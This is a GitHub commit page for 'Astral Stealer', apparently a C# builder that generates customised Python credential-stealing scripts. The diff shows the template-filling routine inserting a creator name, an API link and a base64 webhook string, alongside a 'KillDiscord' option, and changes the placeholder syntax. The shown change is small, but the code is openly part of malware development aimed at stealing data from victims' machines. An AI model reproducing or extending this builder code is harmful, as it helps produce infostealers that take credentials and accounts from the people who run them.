Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
freeman649 authored May 25, 2024
1 parent 7eae201 commit c1e7460
Show file tree
Hide file tree
Showing 3 changed files with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions Astral Stealer/Form1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3143,6 +3143,7 @@ private void GenerateCustomPythonScript()
string baseFileName = ExeNameOutput.Text;
string pythonCode = pythonCodeTemplate;

// Remplacer les options dans le template Python
pythonCode = ReplaceOptionValue(pythonCode, "PC_CREATOR", Environment.UserName);
pythonCode = ReplaceOptionValue(pythonCode, "API_LINK", "");
pythonCode = ReplaceOptionValue(pythonCode, "B64_WBH_STR", B64_WBH_STR.Text);
Expand Down Expand Up @@ -3243,13 +3244,12 @@ private void GenerateCustomPythonScript()
// Méthode pour remplacer une valeur dans le template de code Python
private string ReplaceOptionValue(string template, string option, string value)
{
return template.Replace($"{{{{ {option} }}}}", value);
return template.Replace($"%{option}%", value);
}

private void build_script_Click(object sender, EventArgs e)
{
GenerateCustomPythonScript();

}

private void KillDiscord_Options_CheckedChanged(object sender, EventArgs e)
Expand Down
Binary file modified Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.dll
Binary file not shown.
Binary file modified Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.pdb
Binary file not shown.

0 comments on commit c1e7460

Please sign in to comment.